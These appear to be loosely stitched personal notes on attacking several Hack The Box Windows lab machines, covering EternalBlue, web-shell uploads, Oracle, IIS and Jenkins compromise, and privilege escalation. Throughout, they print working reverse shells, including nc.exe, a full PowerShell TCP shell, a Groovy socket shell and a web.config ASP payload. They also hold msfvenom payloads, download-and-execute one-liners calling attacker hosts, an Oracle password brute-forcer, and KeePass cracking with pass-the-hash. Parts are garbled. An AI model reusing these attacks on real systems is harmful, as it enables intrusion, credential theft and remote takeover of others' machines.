its vulnerable to eternal blue vulnerability cve-2017-0143

### 1st method

Using the windows/smb/ms17\_101\_eternalblue module in Metasploit, we can successfully get a shell as nt authority!

### 2nd method [https://www.exploit-db.com/exploits/42315/](https://www.exploit-db.com/exploits/42315/)

[https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py](https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py) - mysmb script put on the same folder

vi /etc/hosts smbclient -L \10.10.10.40 -N smbclient \\\haris-pc\Users

smbclient -L \haris-pc -N - smbscan smb verification- smbclient \\\haris-pc\Users

msfvenom -p windows/meterpreter/reverse\_tcp lhost=ip lport=port -f exe > blue.exe

exploit modifiation - username - guest and changes the exploit

smb\_send file exploit

server is running on asp.net. we can upload asp shell and get the reverse connection

Shell as web [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists) asp shell upload

locate cmd.aspx usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx

put cmd.aspx then visit cmd.aspx

web to shell- 3 ways (nc.exe, nishang, meterpreter)

### 1 way nc.exe

create a smb server on attackeer machine and upload nc.exe on the server

locate nc.exe cp /usr/share/windows-binaries/nc.exe smb/

run this command on attacker machine smbserver.py share smb

create a listener on the attacker machine

\10.10.14.14\share\nc.exe -e cmd.exe 10.10.14.14 443 - in webshell run this command

### 2nd way

nishang exploit

git clone [https://github.com/samratashok/nishang.git](https://github.com/samratashok/nishang.git)

Invoke-PowershellTcp copy this file from /opt/nishang/shells to /smb directory

this line put in to end of the file Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 443

This will make it so that not only does the module load, but then the shell is called to give me a callback.

run this commmand on the webshell then it get from attacker python server and then give shell to attacker machine powershell iex(new-object net.webclient).downloadstring('[http://10.10.14.14/Invoke-PowerShellTcp.ps1](http://10.10.14.14/Invoke-PowerShellTcp.ps1)')

### 3rd way: meterpreter shell

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.14 LPORT=443 -f aspx > met\_rev\_443.aspx

put met\_rev\_443.aspx

then run listener on metasploit and get the system shell by clicking aspx shell

curl [http://10.10.10.5/met\_rev\_443.aspx](http://10.10.10.5/met_rev_443.aspx)

### Privesc: web –> System

Enumeration part systeminfo

### 1st way

WATSON to check potential vulnerabilities

For checking .net version: reg query "HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" reg query "HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

### 2nd method with metasploit

MS10-015

Run local exploit suggester : use post/multi/recon/local\_exploit\_suggester

I’ll give exploit/windows/local/ms10\_015\_kitrap0d a run.

script value change (add ip and port)

cp /usr/share/windows-binaries/nc.exe /opt/HTB/optimum

copy window binary from kali to windows with exploit

we got user shell

now turn to root shell windows-exploit-suggester.py

python windows-exploit-suggester.py –update

python windows-exploit-suggester.py –systeminfo systeminfo.txt –database 2018-11-25-mssb.xls

we use powershell empire for exploit ms16-032 Under PowerShell/Empire, there is a separate ps1 file for MS16-032. We will save it as Empire.ps1.

Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘[http://10.10.14.2/shell.ps1‘)”](http://10.10.14.2/shell.ps1%E2%80%98\)%E2%80%9D)

### 2nd method

searchsploit hfs 2.3

rce on the system copy nc in to specific folder and exploit through python script

after got user access then turn in to window exploit suggester

python window exploitsuggester.py --database .xls --systeminfo .txt

While this tool gave us some great suggestions, i found an easier exploit while looking around on Google.

### Drupalgeddon2

Ruby Script However, on reading about Drupalgeddon2, it seems this is testing the vulnerability on a Drupal 8 specific path.

I’ll try the ruby script, searchsploit -m exploits/php/webapps/44449.rb. Now I’ll run it, and it returns the help, and a warning:

### blog 2

Notice that port 80 - Microsoft IIS httpd 8.5 is opened. Just note it down, it will be useful later on. Let’s focus on port 1521 (and sort of port 49160) instead - Oracle TNS listener 11.2.0.2.0 (unauthorized). Doing some enumeration I find out that this particular version of Oracle listener is vulnerable to remote TNS poisoning.

### Exploitation Creating your own privileged users

sqlplus scott/tiger@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.10.10.82)(Port=1521))(CONNECT\_DATA=(SID=XE))) AS SYSDBA CREATE USER v3ded IDENTIFIED BY v3ded99; GRANT dba TO v3ded;

ODAT python odat.py all -s 10.10.10.82 -d XE -U v3ded -P v3ded99

\[2.10] DBMS\_XSLPROCESSOR library ? is enabled

DBMS\_XSLPROCESSOR library is enabled and therefore allows us to put any files onto the machine. Here is the command that will do so:

python odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U v3ded -P v3ded99 --putFile "c:\Windows\\" "v3ded.txt" "/tmp/v3ded.txt"

now create the shell msfvenom -p windows/x64/meterpreter/reverse\_https LHOST=10.10.15.193 LPORT=443 -f aspx > /tmp/v3dedShell.aspx

python odat.py dbmsxslprocessor -s ip -d XE -U v3dwd -P pass --putfile "C:\inetpub\wwwroot\\" "v3dedshell.aspx" "/tmp/v3dedshell.aspx"

after getting shell Navigating to his Desktop directory I see an interesting file called “Oracle issues.txt”.

3 - Guess / bruteforce user and pass

So I wrote a brute force script in python, using threads, can go pretty quick:

!/usr/bin/env python

import cx\_Oracle import sys from multiprocessing import Pool

MAX\_PROC = 50 host = "10.10.10.82" sid = "XE"

def usage(): print("{} \[ip] \[wordlist]".format(sys.argv\[0])) print(" wordlist should be of the format \[username]:\[password]") sys.exit(1)

def scan(userpass): u, p = userpass.split(':')\[:2] try: conn = c&#x78;_&#x4F;racle.connect('{user}/{pass_}@{ip}/{sid}'.format(user=u, pass\_=p, ip=host, sid=sid)) return u, p, True except cx\_Oracle.DatabaseError: return u, p, False

def main(host, userpassfile, nprocs=MAX\_PROC): with open(userpassfile, 'r') as f: userpass = f.read().rstrip().replace('\r','').split('\n')

```
pool = Pool(processes=nprocs)

for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
    if status:
        print("Found {} / {}\n\n".format(username, pass_))
    else:
        sys.stdout.write("\r {}/{}                               ".format(username, pass_))
```

if **name** == '**main**': if len(sys.argv) != 3: usage() main(sys.argv\[1], sys.argv\[2])

4 - Check out the database sqlplus SCOTT/tiger@10.10.10.82:1521/XE

5 - db PrivEsc

select \* from user\_role\_privs; sqlplus SCOTT/tiger@10.10.10.82:1521/XE as sysdba Similarly with odat, running the all scan shows nothing that can be done, but passing in the --sysdba flag changes all of that:

odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba

odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\inetpub\wwwroot 0xdf.txt <(echo 0xdf was here)

### 3 RottenPotato Privesc whoami /priv

SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled

This means that we can likely use RottenPotato (or LonelyPotato).

First, we’ll upload two files to the server. MSFRottenPotato.exe and rev.bat. The exe is from Decoder’s GitHub page for lonelypotato. The second is a simple powershell command to get a shell:

[https://github.com/decoder-it](https://github.com/decoder-it) [https://github.com/decoder-it/lonelypotato/tree/master/RottenPotatoEXE](https://github.com/decoder-it/lonelypotato/tree/master/RottenPotatoEXE)

rev.bat powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();\[byte\[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = (\[text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"

So, from our low priv shell, grab the files:

PS C:\temp> (new-object net.webclient).downloadfile('[http://10.10.14.14:8083/rev.bat](http://10.10.14.14:8083/rev.bat)', 'C:\temp\rev.bat') PS C:\temp> (new-object net.webclient).downloadfile('[http://10.10.14.14:8083/MSFRottenPotato.exe](http://10.10.14.14:8083/MSFRottenPotato.exe)', 'C:\temp\lp.exe')

run this file c:\temp\lp.exe \* \temp\rev.bat

## bounty htb windows

Bounty was one of the easier boxes I’ve done on HTB, but it still showcased a neat trick for initial access that involved embedding ASP code in a web.config file that wasn’t subject to file extension filtering. Initial shell provides access as an unprivileged user on a relatively unpatched host, vulnerable to several kernel exploits, as well as a token privilege attack. I’ll show a handful of ways to enumerate and to escalate privilege, including a really neat new tool, Watson. When I first wrote this post, Watson wouldn’t run on Bounty, but thanks to some quick work from Rasta Mouse and Mark S, I was able to update the post to include it.

nmap -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.93 80 port open

Server Identification :  ASP.net

gobuster&#x20;

gobuster -u [http://10.10.10.93](http://10.10.10.93) -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster\_root -x aspx

transfer.aspx / UploadedFiles

&#x20;/transfer.aspx presents a simple form with “Browse…” and “Upload” buttons:

Bypassing Upload Extension Filter I’ll grab a copy of the aspx shell that comes with kali, and try to upload it. On first attempt to upload, the page rejects it:

I can bypass the filter by adding a null byte after our aspx so that the app thinks it’s a jpg, but then saves it as an aspx:

### .aspx%00.jpg

Getting Execution Still, when I then view [http://10.10.10.93/UploadedFiles/cmdasp.aspx](http://10.10.10.93/UploadedFiles/cmdasp.aspx), it returns an error:

### web.config RCE

Shell as merlin

Prep It’s certainly possible to get a webshell, but I’ll notice that the UploadedFiles path is being cleared out every few minutes. So I’ll opt to go directly to reverse shell. First, grab a copy of Nishang’s Invoke-PowerShellTcp.ps1. Then add a line at the end to invoke a callback to me:

Web.config file

\<?xml version="1.0" encoding="UTF-8"?>

&#x20;\</handlers>

&#x20;\</fileExtensions>

&#x20;\</hiddenSegments> \</requestFiltering> \</security> \</system.webServer> \</configuration> <%@ Language=VBScript %> <% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('[http://10.10.14.5/Invoke-PowerShellTcp.ps1](http://10.10.14.5/Invoke-PowerShellTcp.ps1)')") %>

&#x20;Execution Now, I take two steps:

&#x20;Upload the web.config using the web form&#x20;

Visit http://10.10.10.93/UploadedFiles/web.config, which runs the asp code, which invokes PowerShell to download the Nishang shell, and then run it creating a connection back to me:&#x20;

user.txt

&#x20;Now with shell, I can grab user.txt. Strangely, it’s not present when I look for it: It turns out that the file is there, it’s just hidden.

&#x20;If I re-run Get-ChildItem (or gci or ls) with the -Force flag, it shows up:&#x20;

#### gci -force&#x20;

### Privesc: merlin –> SYSTEM Enumeration

&#x20;I’ve got a bunch of different methods here, but if you’re only going to read on, jump ahead to Watson, as it’s brand new, and my favorite.

&#x20;System Info systeminfo Whoami /priv

&#x20;Whenever I get access via a web service on a Windows host, I always check whoami /priv. If SeImpersonatePrivilege is present,

&#x20;I can likely get SYSTEM with Lonely Potato. That appears to be the case here: SeImpersonatePrivilege Impersonate a client after authentication Enabled whoami /priv

&#x20;Sherlock Another tool to try is Sherlock. Unfortunately, it’s no longer being maintained, in favor of Watson (see more on that later).&#x20;

Still, it’s a quick PowerShell Script that will identify some kernel exploits. Upload it, and then run

&#x20;Find-AllVulns.&#x20;

It looks like MS10-092 is a good candidate:&#x20;

### Watson : check the version details:&#x20;

\windows\microsoft.net\framework\v2.0.50727\msbuild -version So build again with .NET Framework 2.0, copy it over to Bounty, and run it: 2.0 version create a watson.exe and run it into the machine

#### Enumerating Port 50000 (Jetty/Jenkins)

Whenever I encounter an application that error message that looks fairly unique, I always copy & paste the error message into Google and see what happens. This technique is very underrated, google that shit.

Powered by Jetty 9.4

We are seeing quite a few results for Jenkins, so there is a high probability that this server is running Jenkins as a service, and now we just have to discover it.

Dirbuster Next step is to dirbuster everything to discover the jenkins dashboard path. I always use the directory-list-2.3-medium.txt which comes default in kali for most HTB boxes.

It looks like /askjeves/ seems to be the correct path for the Jenkins main dashboard, confirming our suspicions that Jenkins is the running service.

Exploiting Jenkins

### Method 1: Jenkins Script Console&#x20;

#### Jenkins has a scripting console, which you can access by going to Manage Jenkins => Script Console

You can write scripts in the Groovy Scripting Language. I searched for groovy script run command example or if you just want to skip straight to the shell search groovy script reverse shell

Testing to see if we have code execution…

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'powershell.exe $PSVERSIONTABLE'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

From my search of groovy script reverse shell, I came across this Github gist – change the host and port parameter to match your settings, and hit “Run” in the script console & you will get a reverse shell.

[https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)

```
String host="10.10.15.30";
int port=8282;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### Method 2: Build Job Exec Command

With Jenkins you can execute system commands as part of a deployment build job. The Jenkins server allowed anyone to do anything even to the anonymous user which means we can create a malicious deployment & execute our code.

Steps:

```
Steps:

Create new Build Job (http://10.10.10.63:50000/askjeeves/view/all/newJob)
Select “FreeStyle Project’
Hit Ok
Select “Build Enviroment”
Generate payload / put the code you want to execute as a build step
Hit Apply
Start Build
You can run any system commands you want in the predeployment step, I used a msfvenom payload just to validate that it’s possible.
```

#### msfvenom -p windows/meterpreter/reverse\_http LHOST=10.10.15.30 LPORT=8081 -f psh-cmd > 8081.cmd

[https://www.hackingarticles.in/generating-reverse-shell-using-msfvenom-one-liner-payload/](https://www.hackingarticles.in/generating-reverse-shell-using-msfvenom-one-liner-payload/) [https://www.hackingarticles.in/2-ways-use-msfvenom-payload-netcat/](https://www.hackingarticles.in/2-ways-use-msfvenom-payload-netcat/) [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

### Privilege Escalation:

It looks like this machine is vulnerable two a few LPE exploits the big ones being **MS16-075 (RottenPotato) & MS16-032.** From our sysinfo output we can rule out MS16-032 because that particular exploit requires two cpu(s), and this machine has only one cpu.

It looks like this machine is vulnerable to MS16-075 (which I would say is fairly reliable when available), and from our eariler whoami /all command it seems we have everything in place to successfully execute this exploit.

```
MS16-075 Windows smb server
MS16-032 - Security update for secondary logon to address elevation of privilege
```

```
Method 1: MS16-075 “RottenPotato”
```

The steps to successfully exploit MS16-075 “rotten potato” (with meterpreter) is:

```
Have meterpreter shell
Upload RottenPotato/potato exploit executeable
Load ignognito on meterpreter session
Execute rottenpotato executable
Impersonate NT Authority/SYSTEM token
You are now system.
```

Powershell 1-liner for download + executing file (getting meterpreter shell):

#### powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('[http://10.10.15.30:9999/8383.exe','8383.exe')";Start-Process](http://10.10.15.30:9999/8383.exe','8383.exe'\)%22;Start-Process) '8383.exe'

On Jeeves Host

cd %appdata%

#### powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('[http://10.10.15.30:9999/8383.exe','8383.exe')";Start-Process](http://10.10.15.30:9999/8383.exe','8383.exe'\)%22;Start-Process) '8383.exe'

Completing the required steps for the exploit

```
upload /opt/serve/windows/priv/rottenpotato.exe
load incognito
execute -cH -f rottenpotato.exe
list_tokens -u
```

#### impersonate\_token "NT AUTHORITY\SYSTEM"

### Method 2: Crack Keepass Database to Pass-the-hash

&#x20;If you searched through the user kohsuke documents directory you would discover a file called CEH.kbdx. Normally the .kbdx file extension is associated with the KeePass Password Safe. If we can crack the password on this vault file, we will likely find credentials to potentially the local administrator account.

Downloading the Keepass Database file with meterpreter download CEH.kdbx

verifying the downloaded file root@dastinia:\~/htb/jeeves# file CEH.kdbx

Before we can crack the CEH.kbdx we need to convert it to a format that either john or hashcat can understand. We can use the tool keepass2john (comes preinstalled on kali) to do this.

keepass2john CEH.kdbx

#### cracking the hash & getting the password of the vault with john john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash

Here are the contents that were contained in the keepass database file.

[https://github.com/byt3bl33d3r/CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)

We have a few passwords & and a hash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 which happens to be an NTLM hash. The SMB Service (Port 445) is exposed on this server, so we can attempt to authenticate to the system using a password spray attack or a pass-the-hash attack.

#### crackmapexec smb ip -u Administrator -p ceh\_db\_passwords.txt --lusers

#### crackmapexec smb ip -u administrator -H ceh\_db\_hash.txt --lusers

Shell with Metasploit PSEXEC Module & Hash With a valid hash of the administrator account, we can perform a pass-the-hash attack & compromise the machine. I chose to use Metasploit for this, but there are plenty of tools which do the same thing as this module.

```
Getting SYSTEM shell with msf psexec
use exploit/windows/smb/psexec
exploit done with hash
Getting the “Hidden” root.txt
```

#### dir /a

#### dir /R That hm.txt:root.txt:$DATA means that the file root.txt is inside an alternate data stream inside hm.txt

You can see the contents of an ADS stream a few different ways but the simplist way in my opinion is using the more command on windows…

#### pth-winexe. The pth suite uses the format DOMAIN/user%hash:

#### pth-winexe -U pth-winexe -U administrator //192.168.1.101 cmd pth-winexe -U admin/hash:has //192.168.0.101 cmd

#### pth-winexe -U Administrator%'hash' //ip cmd.exe

#### gobuster -e -u [http://10.10.10.63:50000](http://10.10.10.63:50000) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 25

Keepas password manager Doing a bit of roaming around the file system, I find an interesting .kdbx file. This file extension is associated with Keepass password manager. The mentiond .kdbx file can be found at C:\Users\kohsuke\Documents\CEH.kdbx. To transfer this file into our computer I first put netcat binary (in Kali: /usr/share/windows-binaries/nc.exe) onto the Windows system via Powershell:

Run inside the reverse shell:

#### powershell -c '(new-object System.Net.WebClient).DownloadFile("[http://IP/nc.exe](http://ip/nc.exe)", "C:\Windows\Temp\nc.exe")'

OR

#### powershell -c 'Invoke-WebRequest "[http://IP/nc.exe](http://ip/nc.exe)" -OutFile "C:\Windows\Temp\nc.exe"' Note: Don’t forget to start a web server before you actually try to download a file.

Thanks to netcat, we are able to transfer the .kdbx file into our filesystem. We can then proceed to generate a hash with keepass2john.
